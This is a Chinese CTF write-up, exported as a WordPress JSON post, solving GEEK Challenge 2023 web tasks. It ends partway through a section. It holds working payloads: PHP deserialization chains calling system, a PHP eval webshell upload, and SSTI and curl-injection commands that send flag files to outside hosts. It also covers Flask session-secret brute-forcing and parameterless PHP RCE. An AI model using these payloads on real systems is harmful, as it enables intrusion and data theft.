{"id":167,"date":"2025-11-04T00:53:21","date_gmt":"2025-11-03T16:53:21","guid":{"rendered":"http:\/\/101.201.119.158\/?p=167"},"modified":"2025-12-08T23:47:33","modified_gmt":"2025-12-08T15:47:33","slug":"%e6%9e%81%e5%ae%a2%e5%a4%a7%e6%8c%91%e6%88%982023-web","status":"publish","type":"post","link":"http:\/\/101.201.119.158\/?p=167","title":{"rendered":"\u6781\u5ba2\u5927\u6311\u6218-Web"},"content":{"rendered":"\n

\u6781\u5ba2\u5927\u6311\u62182023-web-unsign<\/h2>\n\n\n\n

\u6765\u7b7e\u4e2a\u5230\u5427\u5148<\/p>\n\n\n\n

<?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
    public function __destruct()
    {
        echo(\"action!<br>\");
        $function=$this->cuit;
        return $function();
    }
}
\u200b
class lover
{
    public $yxx;
    public $QW;
    public function __invoke()
    {
        echo(\"invoke!<br>\");
        return $this->yxx->QW;
    }
\u200b
}
\u200b
class web
{
    public $eva1;
    public $interesting;
\u200b
    public function __get($var)
    {
        echo(\"get!<br>\");
        $eva1=$this->eva1;
        $eva1($this->interesting);
    }
}
if (isset($_POST['url'])) 
{
    unserialize($_POST['url']);
}
\u200b
?><\/pre>\n\n\n\n
\u94fe\u5b50\uff1asyc-dest->>$function() -> lover-__invoke()->>$this->yxx->QW -> web->get->>eval<\/pre>\n\n\n\n
exp\uff1a
<?php
\u200b
class syc
{
    public $cuit;
\u200b
}
\u200b
class lover
{
    public $yxx;
    public $QW;
\u200b
}
\u200b
class web
{
    public $eva1;
    public $interesting;
}
\u200b
$a = new syc();
$b = new lover();
$c = new web();
$a -> cuit = $b;
$b -> yxx = $c;
$c -> eva1 = \"system\";
$c -> interesting = \"tac \/f*\";
echo serialize($a);
\/\/O:3:\"syc\":1:{s:4:\"cuit\";O:5:\"lover\":2:{s:3:\"yxx\";O:3:\"web\":2:{s:4:\"eva1\";s:6:\"system\";s:11:\"interesting\";s:7:\"tac \/f*\";}s:2:\"QW\";N;}}<\/pre>\n\n\n\n
\u6781\u5ba2\u5927\u6311\u62182023-web-n00b_Upload<\/h2>\n\n\n\n
{“type”:”doc”,”content”:[{“type”:”heading”,”attrs”:{“level”:4},”content”:[{“type”:”text”,”text”:””\u624e\u53e4\uff0c\u624e\u53e4\u2764\u201c”}]}]}<\/p>\n\n\n\n
Content-Disposition: form-data; name=\"file\"; filename=\"1.php\"
Content-Type: image\/png
\u200b
<?= @eval($_POST[1]);?>
------WebKitFormBoundary23rRUoypB08Lidcr
Content-Disposition: form-data; name=\"submit\"
\u200b
\u63d0\u4ea4<\/pre>\n\n\n\n
\u7136\u540e\u8bbf\u95ee1.php\u8fdb\u884crce\u5c31\u884c<\/p>\n\n\n\n
\u6781\u5ba2\u5927\u6311\u62182023-web-easy_php<\/h2>\n\n\n\n
\u5b66\u4e86php\u4e86\uff0c\u90a3\u5c31\u6765\u770b\u770b\u8fd9\u4e9b\u7ed5\u8fc7\u5427<\/p>\n\n\n\n
<?php
header('Content-type:text\/html;charset=utf-8');
error_reporting(0);
\u200b
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('\/^Welcome to GEEK 2023!$\/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
    if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
        if (isset($_POST['qw']) && $_POST['yxx']) {
            $array1 = (string)$_POST['qw'];
            $array2 = (string)$_POST['yxx'];
            if (sha1($array1) === sha1($array2)) {
                if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']=\"Happy to see you!\")) {
                    echo $flag;
                } else {
                    echo \"\u518d\u7ed5\u6700\u540e\u4e00\u6b65\u5427\";
                }
            } else {
                echo \"\u597d\u54e9\uff0c\u5feb\u62ff\u5230flag\u5566\";
            }
        } else {
            echo \"\u8fd9\u91cc\u7ed5\u4e0d\u8fc7\u53bb\uff0cQW\u53ef\u4e0d\u7b54\u5e94\u4e86\u54c8\";
        }
    } else {
        echo \"\u563f\u563f\u563f\uff0c\u4f60\u522b\u6025\u554a\";
    }
}else {
    echo \"\u4e0d\u4f1a\u5427\u4e0d\u4f1a\u5427\uff0c\u4e0d\u4f1a\u7b2c\u4e00\u6b65\u5c31\u5361\u4f4f\u4e86\u5427\uff0cyxx\u4f1a\u77a7\u4e0d\u8d77\u4f60\u7684\uff01\";
}
?>
\u200b
\u4e0d\u4f1a\u5427\u4e0d\u4f1a\u5427\uff0c\u4e0d\u4f1a\u7b2c\u4e00\u6b65\u5c31\u5361\u4f4f\u4e86\u5427\uff0cyxx\u4f1a\u77a7\u4e0d\u8d77\u4f60\u7684\uff01<\/pre>\n\n\n\n
\u7b2c\u4e00\u6b65\uff1asyc=welcome%20to%20GEEK%202023!&lover=1e9
POST:
\u200b
SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!&qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C\/Width%202%200%20R\/Height%203%200%20R\/Type%204%200%20R\/Subtype%205%200%20R\/Filter%206%200%20R\/ColorSpace%207%200%20R\/Length%208%200%20R\/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85\/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr\/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C\/Width%202%200%20R\/Height%203%200%20R\/Type%204%200%20R\/Subtype%205%200%20R\/Filter%206%200%20R\/ColorSpace%207%200%20R\/Length%208%200%20R\/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85\/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2\/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
\u200b<\/pre>\n\n\n\n
ctf_curl<\/h2>\n\n\n\n
\u9898\u76ee\u63cf\u8ff0\uff1a\u547d\u4ee4\u6267\u884c\uff1f\u771f\u7684\u5417\uff1f<\/p>\n\n\n\n
<?php
highlight_file('index.php');
\/\/ curl your domain
\/\/ flag is in \/tmp\/Syclover
\u200b
if (isset($_GET['addr'])) {
    $address = $_GET['addr'];
    if(!preg_match(\"\/;|f|:|\\||\\&|!|>|<|`|\\(|{|\\?|\\n|\\r\/i\", $address)){
        $result = system(\"curl \".$address.\"> \/dev\/null\");
    } else {
        echo \"Hacker!!!\";
    }
}
?>
\u200b<\/pre>\n\n\n\n
\u53ef\u4ee5\u4f7f\u7528\u65e0\u56de\u663eRCE\u4e2d\u7684http \u4fe1\u9053<\/strong>\u5e26\u51fa\u6587\u4ef6\u5185\u5bb9<\/p>\n\n\n\n
?addr=xxxxxx.requestrepo.com -T \/tmp\/Syclover\uff0c\u76f4\u63a5\u5e26\u51fa\u6765\/tmp\/Syclover<\/p>\n\n\n\n
\u6781\u5ba2\u5927\u6311\u62182023-web-flag\u4fdd\u536b\u6218<\/h2>\n\n\n\n
jwt\u7684\u4e4b\u540e\u5728\u5199<\/p>\n\n\n\n
\u6781\u5ba2\u5927\u6311\u62182023-web-klf_ssti<\/h2>\n\n\n\n
De1ty\u7684\u5e7f\u4e1c\u670b\u53cb\u8ddf\u5973\u795e\u8868\u767d\u88ab\u9a82klf\uff0c\u73b0\u5728\u6c14\u6025\u8d25\u574f\uff0c\u4f60\u77e5\u9053klf\u662f\u4ec0\u4e48\u610f\u601d\u561b\uff1f\u4ed6\u73b0\u5728\u4f9d\u65e7\u89c9\u5f97\u4ed6\u4e0d\u662fklf\u4f60\u4eec\u624d\u662f\uff0c\u4f60\u80fd\u62ff\u5230flag\u8bc1\u660e\u4ed6\u662fklf\u561b\u2026<\/p>\n\n\n\n
f12\u51fa\u6765<\/p>\n\n\n\n
<!– \u6211\u597d\u50cf\u85cf\u4e86\u4e1c\u897f\u4f60\u627e\u5f97\u5230\u561bklf–><\/p>\n\n\n\n
dirsearch\u626b\u4e00\u4e0b\u51fa\u6765<\/p>\n\n\n\n
\/hack?klf= ssti\u7684<\/pre>\n\n\n\n
\u7ecf\u8fc7\u6d4b\u8bd5\u53d1\u73b0\u4ec0\u4e48\u7684\u6ca1\u6709\u56de\u663e\uff0c\u96be\u53d7\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u76f4\u63a5\u53cd\u5f39shell<\/p>\n\n\n\n
\/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl \u4e0d\u7ed9\u4f60\u4eec\u770b').read()}}<\/pre>\n\n\n\n
User-Agent: curl\/7.74.0
Accept: *\/* \u786e\u5b9e\u6709\u56de\u663e\uff0c\u53cd\u5f39shell\u76f4\u63a5\u6253
\/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl \u4e0d\u7ed9\u4e0d\u7ed9\/`ls \/app\/f*`').read()}}<\/pre>\n\n\n\n
\u56de\u663e
GET \/\/app\/fl4gfl4gfl4g HTTP\/1.1<\/pre>\n\n\n\n
\/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 101.201.119.158:2333\/`tac \/app\/fl4gfl4gfl4g`').read()}}
GET \/GEEKa6683312-eb8e-4afe-9be2-68f9a43ea11a HTTP\/1.1<\/pre>\n\n\n\n
\u6781\u5ba2\u5927\u6311\u62182023-web-ez_remove<\/h2>\n\n\n\n
\u6211\u60f3\u8981\u56de\u7089\u91cd\u9020\u4e00\u6ce2\uff0c\u600e\u4e48\u8bf4\uff0c\u96be\u9053\u4f60\u4e0d\u60f3\u5417<\/p>\n\n\n\n
<?php
highlight_file(__FILE__);
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}
\u200b
if(isset($_GET['web'])){
    if(!preg_match('\/lover\/i',$_GET['web'])){
        $a=unserialize($_GET['web']);
        throw new Error(\"\u5feb\u6765\u73a9\u5feb\u6765\u73a9~\");
    }
    else{
        echo(\"nonono\");
    }
}
?><\/pre>\n\n\n\n
\u8fd9\u91cc\u5229\u7528\u5341\u516d\u8fdb\u5236\u548cGC\u7ed5\u8fc7\u9650\u5236\u3002
https:\/\/link.csdn.net\/?from_id=134675568&target=https%3A%2F%2Fy4tacker.gitee.io%2F2021%2F02%2F03%2Fyear%2F2021%2F2%25E6%259C%2588%2Fphp%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596%2F
https:\/\/blog.csdn.net\/Jayjay___\/article\/details\/132463913
O:3:\"syc\":1:{s:5:\"lover\";s:10:\"phpinfo();\";}
->
O:3:\"syc\":1:{S:5:\"lo\\76er\";s:10:\"phpinfo();\";\u3010\u8bb0\u5f97url\u7f16\u7801\u3011<\/pre>\n\n\n\n
GET:?web=O:3:\"syc\":1:{S:5:\"lo\\76er\";s:18:\"assert($_POST[1]);\";
\u200b
POST:1=\u8981\u6267\u884c\u7684\u4ee3\u7801
\u53ef\u4ee5\u8681\u5251\u8fde\u63a5
http:\/\/80-482363ca-eeec-47e9-a9ab-143ed67daebc.challenge.ctfplus.cn\/?web=O%3A3%3A%22syc%22%3A1%3A%7BS%3A5%3A%22lo%5C76er%22%3Bs%3A18%3A%22assert(%24_POST%5B1%5D)%3B%22%3B
\u8bb0\u5f97\u7f16\u7801 \u7136\u540e\u9009\u62e9base64<\/pre>\n\n\n\n
\u6781\u5ba2\u5927\u6311\u62182023-web-ez_path<\/h2>\n\n\n\n
\u63d0\u793a<\/p>\n\n\n\n
import os, uuid
from flask import Flask, render_template, request, redirect
\u200b
app = Flask(__name__)
ARTICLES_FOLDER = 'articles\/'
articles = []
\u200b
\u200b
class Article:
    def __init__(self, article_id, title, content):
        self.article_id = article_id
        self.title = title
        self.content = content
\u200b
\u200b
def generate_article_id():
    return str(uuid.uuid4())
\u200b
\u200b
@app.route('\/')
def index():
    return render_template('index.html', articles=articles)
\u200b
@app.route('\/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('\/')
    else:
        return render_template('upload.html')
\u200b
\u200b
@app.route('\/article\/<article_id>')
def article(article_id):
    for article in articles:
        if article.article_id == article_id:
            title = article.title
            sanitized_title = sanitize_filename(title)
            article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
            with open(article_path, 'r') as (file):
                content = file.read()
            return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
        return render_template('error.html')  # \u5982\u679c\u627e\u4e0d\u5230\u5bf9\u5e94\u7684\u6587\u7ae0\uff0c\u5219\u8fd4\u56de\u9519\u8bef\u9875\u9762
\u200b
def save_article(article_id, title, content):
    sanitized_title = sanitize_filename(title)
    article_path = ARTICLES_FOLDER + '\/' + sanitized_title
    with open(article_path, 'w') as (file):
        file.write(content)
\u200b
\u200b
\u200b
\u200b
def sanitize_filename(filename):        #\u8fc7\u6ee4\u51fd\u6570\uff0c\u88ab\u8fc7\u6ee4\u7684\u5b57\u7b26\u90fd\u66ff\u6362\u6210\u4e0b\u5212\u7ebf
    sensitive_chars = [
        ':',
        '*',
        '?',
        '\"',
        '<',
        '>',
        '|',
        '.']
    for char in sensitive_chars:
        filename = filename.replace(char, '_')
    return filename
\u200b
\u200b
if __name__ == '__main__':
    app.run(debug=True)
\u200b<\/pre>\n\n\n\n
\u53d1\u73b0\u8fd9\u4e2a\u5b58\u5728Python \u4e2d\u7684\u8def\u5f84\u7a7f\u8d8a\u5728upload\u8fd9\u4e2a\u63a5\u53e3<\/p>\n\n\n\n
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('\/')
    else:
        return render_template('upload.html')<\/pre>\n\n\n\n
# os.path.join
>>> os.path.join('\/home\/download', '..\/..\/opt\/logo.png')
\/home\/download\/..\/..\/opt\/logo.png
\u200b
# pathlib
>>> pathlib.Path('\/home\/download') \/ '..\/..\/opt\/logo.png'
\/home\/download\/..\/..\/opt\/logo.png
\u200b
\u3010\u5982\u679c\u67d0\u4e2a\u90e8\u5206\u4e3a\u7edd\u5bf9\u8def\u5f84\uff0c\u5219\u4e4b\u524d\u7684\u6240\u6709\u90e8\u5206\u90fd\u4f1a\u88ab\u4e22\u5f03\u5e76\u4ece\u7edd\u5bf9\u8def\u5f84\u5f00\u59cb\u7ee7\u7eed\u62fc\u63a5\u3011
\u200b
# os.path.join
>>> os.path.join('\/home\/download', '\/opt\/logo.png')
\/opt\/logo.png
\u200b
# pathlib
>>> pathlib.Path('\/home\/download') \/ '\/opt\/logo.png'
\/opt\/logo.png
# os.path.join
>>> os.path.join('\/home\/download', '..\/..\/opt\/logo.png')
\/home\/download\/..\/..\/opt\/logo.png
\u200b
# pathlib
>>> pathlib.Path('\/home\/download') \/ '..\/..\/opt\/logo.png'
\/home\/download\/..\/..\/opt\/logo.png
\u200b
\u3010\u5982\u679c\u67d0\u4e2a\u90e8\u5206\u4e3a\u7edd\u5bf9\u8def\u5f84\uff0c\u5219\u4e4b\u524d\u7684\u6240\u6709\u90e8\u5206\u90fd\u4f1a\u88ab\u4e22\u5f03\u5e76\u4ece\u7edd\u5bf9\u8def\u5f84\u5f00\u59cb\u7ee7\u7eed\u62fc\u63a5\u3011
\u200b
# os.path.join
>>> os.path.join('\/home\/download', '\/opt\/logo.png')
\/opt\/logo.png
\u200b
# pathlib
>>> pathlib.Path('\/home\/download') \/ '\/opt\/logo.png'
\/opt\/logo.png
https:\/\/blog.csdn.net\/qq_36078992\/article\/details\/122070641<\/pre>\n\n\n\n
\u6709\u8def\u5f84\u62fc\u63a5\uff0c\u731c\u6d4b\/home\u8def\u7531\u4e5f\u662f\u8def\u5f84\u62fc\u63a5\uff0c\u7528\u5230\u4e86os.path.join()\u6216\u8005pathlib.Path()\u65b9\u6cd5\uff0c\u6240\u4ee5\u9020\u6210\u4e86\u4e0a\u8ff0python\u8def\u5f84\u7a7f\u8d8a\u6f0f\u6d1e\u3002<\/pre>\n\n\n\n
\u76f4\u63a5\u6dfb\u52a0\/f14444\u5c31\u6b27\u514b\u4e86<\/p>\n\n\n\n
you konw flask?<\/h2>\n\n\n\n
jwt\u5bc6\u94a5\u7684<\/p>\n\n\n\n
\u7206\u7834\u5bc6\u94a5\u811a\u672c<\/p>\n\n\n\n
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys
\u200b
path = \"wordlist.txt\"
\u200b
print(\"Generating wordlist... \")
\u200b
with open(path,\"w\") as f:
    #permutations with repetition
    [f.write('wanbao'+\"\".join(x)+'=wanbao'+\"\\n\") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=3)]   #\u52a0\u4e0a\u524d\u7f00
\u200b
#url = \"http:\/\/47.115.201.35:8000\/index\"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'
print(\"Got cookie: \" + cookie_tamper)
\u200b
print(\"Cracker Started...\")
\u200b
obj = flask_unsign.Cracker(value=cookie_tamper)
\u200b
before = time.time()
\u200b
with wordlist(path, parse_lines=False) as iterator:
            obj.crack(iterator)
\u200b
secret = \"\"
if obj.secret:
    secret =obj.secret.decode()
    print(f\"Found SECRET_KET {secret} in {time.time()-before} seconds\")
\u200b
signer = flask_unsign.sign({\"time\":time.time(),\"authorized\":True},secret=secret)
\u200b<\/pre>\n\n\n\n
\u5de5\u5177\uff1a
\u200b
\u89e3\u5bc6session\uff1aflask-unsign --decode --cookie '\u83b7\u5f97\u7684session'
\u200b
\u7206\u7834\u5bc6\u94a5\uff1aflask-unsign --unsign --cookie '\u83b7\u5f97\u7684session'
\u200b
\u52a0\u5bc6session\uff1aflask-unsign --sign --cookie \"{'logged_in': True}\" --secret 'CHANGEME'
\u200b
\u7206\u7834\u6307\u5b9a\u5b57\u5178\uff1aflask-unsign --unsign --cookie 'xxx --wordlist key.txt
\u200b<\/pre>\n\n\n\n
\u901a\u8fc7\u4f2a\u9020\u83b7\u5f97flag<\/p>\n\n\n\n
Pupyy_rce<\/h2>\n\n\n\n
<?php
highlight_file(__FILE__);
header('Content-Type: text\/html; charset=utf-8');
error_reporting(0);
include(flag.php);
\/\/\u5f53\u524d\u76ee\u5f55\u4e0b\u6709\u597d\u5eb7\u7684\ud83d\ude0b
if (isset($_GET['var']) && $_GET['var']) {
    $var = $_GET['var'];
   
    if (!preg_match(\"\/env|var|session|header\/i\", $var,$match)) {
        if (';' === preg_replace('\/[^\\s\\(\\)]+?\\((?R)?\\)\/', '', $var)){
        eval($_GET['var']);
        }
        else die(\"WAF!!\");
    } else{
        die(\"PLZ DONT HCAK ME\ud83d\ude05\");
    }
}<\/pre>\n\n\n\n
\u65e0\u53c2\u6570RCE<\/strong><\/h3>\n\n\n\n
\u5148<\/p>\n\n\n\n
?var=print_r(scandir(getcwd()))%3B<\/pre>\n\n\n\n
 Array ( [0] => . [1] => .. [2] => error.log [3] => fl@g.php [4] => genshin01.txt [5] => index.php [6] => tiangou01.txt [7] => tiangou02.txt )<\/pre>\n\n\n\n
\u524d\u7f6e\u57fa\u7840\uff1a
array_rand(): \u4ece\u6570\u7ec4\u4e2d\u53d6\u51fa\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u5355\u5143\uff0c\u5e76\u4e14\u8fd4\u56de\u968f\u673a\u6761\u76ee\u7684\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u952e\u3002
array_flip()\uff1a\u8bfb\u53d6\u5f53\u524d\u76ee\u5f55\u7684\u952e\u548c\u503c\u8fdb\u884c\u4ea4\u6362\uff0c\u5982\u679c\u5931\u8d25\u8fd4\u56de NULL\u3002
array_flip()\u548carray_rand()\u914d\u5408\u4f7f\u7528\u53ef\u968f\u673a\u8fd4\u56de\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\u540d\u3002\u56e0\u4e3a\u5176\u4e2d\u7684\u952e\u53ef\u4ee5\u5229\u7528\u968f\u673a\u6570\u51fd\u6570array_rand()\uff0c\u8fdb\u884c\u968f\u673a\u751f\u6210\u3002<\/pre>\n\n\n\n
?var=show_source(array_rand(array_flip(scandir(getcwd())))); \u968f\u673a\u7206\u67e5\u770b\u91cc\u9762\u7684\u6587\u4ef6<\/pre>\n\n\n\n
\u665a\u4e0a\u88ab\u8fd9\u4e2a\u65e0\u53c2\u6570rce\u70e6\u6b7b\u4e86\uff0c\u6b63\u597d\u8fc7\u6765\u603b\u7ed3\u4e00\u4e0b<\/p>\n\n\n\n
<?php
highlight_file(__FILE__);
$A = isset($_GET['pds2025']) ? $_GET['pds2025'] : null;
if ($A) {
    eval($A);
}
\u4f8b\u9898<\/pre>\n\n\n\n
\u5229\u7528\u8fd9\u4e2a<\/p>\n\n\n\n
?pds2025=print_r(scandir('.'))%3B
Array ( [0] => . [1] => .. [2] => index.php )
?pds2025=var_dump(scandir('.'))%3Barray(3) { [0]=> string(1) \".\" [1]=> string(2) \"..\" [2]=> string(9) \"index.php\" } 
array(3) { 
    [0]=> string(1) \".\"      \/\/ \u5f53\u524d\u76ee\u5f55
    [1]=> string(2) \"..\"     \/\/ \u4e0a\u7ea7\u76ee\u5f55  
    [2]=> string(9) \"index.php\"  \/\/ \u5f53\u524d\u6587\u4ef6
}
?pds2025=print_r(scandir('\/'))%3B \u6839\u76ee\u5f55\u4e0b\u9762\u53d1\u73b0\u6709flag
\u76f4\u63a5readfile('\/flag')%3B
\u6b63\u5e38\u786e\u5b9e\u662f\u8fd9\u6837\u8bfb\u7684\u90a3\u5229\u7528\u5176\u4ed6\u7684\u5185\u7f6e\u51fd\u6570\u5462\ud83e\udd14\ud83e\udd14\ud83e\udd14<\/pre>\n\n\n\n
\u51fd\u6570
scandir() :\u5c06\u8fd4\u56de\u5f53\u524d\u76ee\u5f55\u4e2d\u7684\u6240\u6709\u6587\u4ef6\u548c\u76ee\u5f55\u7684\u5217\u8868\u3002\u8fd4\u56de\u7684\u7ed3\u679c\u662f\u4e00\u4e2a\u6570\u7ec4\uff0c\u5176\u4e2d\u5305\u542b\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\u548c\u76ee\u5f55\u540d\u79f0\uff08glob()\u53ef\u66ff\u6362\uff09
localeconv() \uff1a\u8fd4\u56de\u4e00\u5305\u542b\u672c\u5730\u6570\u5b57\u53ca\u8d27\u5e01\u683c\u5f0f\u4fe1\u606f\u7684\u6570\u7ec4\u3002\uff08\u4f46\u662f\u8fd9\u91cc\u6570\u7ec4\u7b2c\u4e00\u9879\u5c31\u662f\u2018.\u2019\uff0c\u8fd9\u4e2a.\u7684\u7528\u5904\u5f88\u5927\uff09
current() \uff1a\u8fd4\u56de\u6570\u7ec4\u4e2d\u7684\u5355\u5143\uff0c\u9ed8\u8ba4\u53d6\u7b2c\u4e00\u4e2a\u503c\u3002pos()\u548ccurrent()\u662f\u540c\u4e00\u4e2a\u4e1c\u897f
getcwd() :\u53d6\u5f97\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55
dirname():\u51fd\u6570\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u76ee\u5f55\u90e8\u5206
array_flip() :\u4ea4\u6362\u6570\u7ec4\u4e2d\u7684\u952e\u548c\u503c\uff0c\u6210\u529f\u65f6\u8fd4\u56de\u4ea4\u6362\u540e\u7684\u6570\u7ec4
array_rand() :\u4ece\u6570\u7ec4\u4e2d\u968f\u673a\u53d6\u51fa\u4e00\u4e2a\u6216\u591a\u4e2a\u5355\u5143
\u200b
array_reverse():\u5c06\u6570\u7ec4\u5185\u5bb9\u53cd\u8f6c
\u200b
strrev():\u7528\u4e8e\u53cd\u8f6c\u7ed9\u5b9a\u5b57\u7b26\u4e32
\u200b
getcwd()\uff1a\u83b7\u53d6\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u8def\u5f84
\u200b
dirname() \uff1a\u51fd\u6570\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u76ee\u5f55\u90e8\u5206\u3002
chdir() \uff1a\u51fd\u6570\u6539\u53d8\u5f53\u524d\u7684\u76ee\u5f55\u3002
\u200b
eval()\u3001assert()\uff1a\u547d\u4ee4\u6267\u884c
\u200b
hightlight_file()\u3001show_source()\u3001readfile()\uff1a\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9
end() \uff1a \u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u6700\u540e\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa
next() \uff1a\u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u4e0b\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa
prev() \uff1a\u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u4e0a\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa
reset() \uff1a \u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa
each() \uff1a \u8fd4\u56de\u5f53\u524d\u5143\u7d20\u7684\u952e\u540d\u548c\u952e\u503c\uff0c\u5e76\u5c06\u5185\u90e8\u6307\u9488\u5411\u524d\u79fb\u52a8<\/pre>\n\n\n\n
\u4ee3\u7801<\/h4>\n\n\n\n
if(';' === preg_replace('\/[^\\W]+\\((?R)?\\)\/', '', $_GET['star'])) {    
    eval($_GET['star']);
}<\/pre>\n\n\n\n
\u6b63\u5219\u8868\u8fbe\u5f0f \\W<\/sup>+((?R)?) \u5339\u914d\u4e86\u4e00\u4e2a\u6216\u591a\u4e2a\u975e\u6807\u70b9\u7b26\u53f7\u5b57\u7b26\uff08\u8868\u793a\u51fd\u6570\u540d\uff09\uff0c\u540e\u8ddf\u4e00\u4e2a\u62ec\u53f7\uff08\u8868\u793a\u51fd\u6570\u8c03\u7528\uff09\u3002\u5176\u4e2d (?R) \u662f\u9012\u5f52\u5f15\u7528\uff0c\u5b83\u53ea\u80fd\u5339\u914d\u548c\u66ff\u6362\u5d4c\u5957\u7684\u51fd\u6570\u8c03\u7528\uff0c\u800c\u4e0d\u80fd\u5904\u7406\u51fd\u6570\u53c2\u6570\u3002\u4f7f\u7528\u8be5\u6b63\u5219\u8868\u8fbe\u5f0f\u8fdb\u884c\u66ff\u6362\u540e\uff0c\u6bcf\u4e2a\u51fd\u6570\u8c03\u7528\u90fd\u4f1a\u88ab\u5220\u9664\uff0c\u53ea\u5269\u4e0b\u4e00\u4e2a\u5206\u53f7 ;\uff0c\u800c\u6700\u7ec8\u7ed3\u679c\u5f3a\u7b49\u4e8e\uff1b\u65f6\uff0cpayload\u624d\u80fd\u8fdb\u884c\u4e0b\u4e00\u6b65\u3002\u7b80\u800c\u8a00\u4e4b\uff0c\u65e0\u53c2\u6570rce\u5c31\u662f\u4e0d\u4f7f\u7528\u53c2\u6570\uff0c\u800c\u53ea\u4f7f\u7528\u4e00\u4e2a\u4e2a\u51fd\u6570\u6700\u7ec8\u8fbe\u5230\u76ee\u7684<\/p>\n\n\n\n
\u53ef\u4ee5\u5229\u7528\u5168\u5c40\u53d8\u91cf\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528\u4e0a\u9762\u51fd\u6570\u7684\u7ec4\u5408\u62f3<\/p>\n\n\n\n
PHP \u8d85\u7ea7\u5168\u5c40\u53d8\u91cf\u5217\u8868:
$GLOBALS
$_SERVER
$_REQUEST
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION<\/pre>\n\n\n\n
getenv<\/h5>\n\n\n\n
getenv(name)\u53ef\u4ee5\u5229\u7528\u6b64\u51fd\u6570\u83b7\u53d6\u4e00\u4e2a\u540d\u4e3aname\u73af\u5883\u53d8\u91cf\u7684\u503c
\u200b
?star=var_dump(getenv(phpinfo())); \u8fd4\u56dephpinfo()\ud83d\udc4c
\u4e0d\u8fc7\u4e0d\u80fdrce\ud83d\ude22<\/pre>\n\n\n\n
get_defined_vars()<\/h5>\n\n\n\n
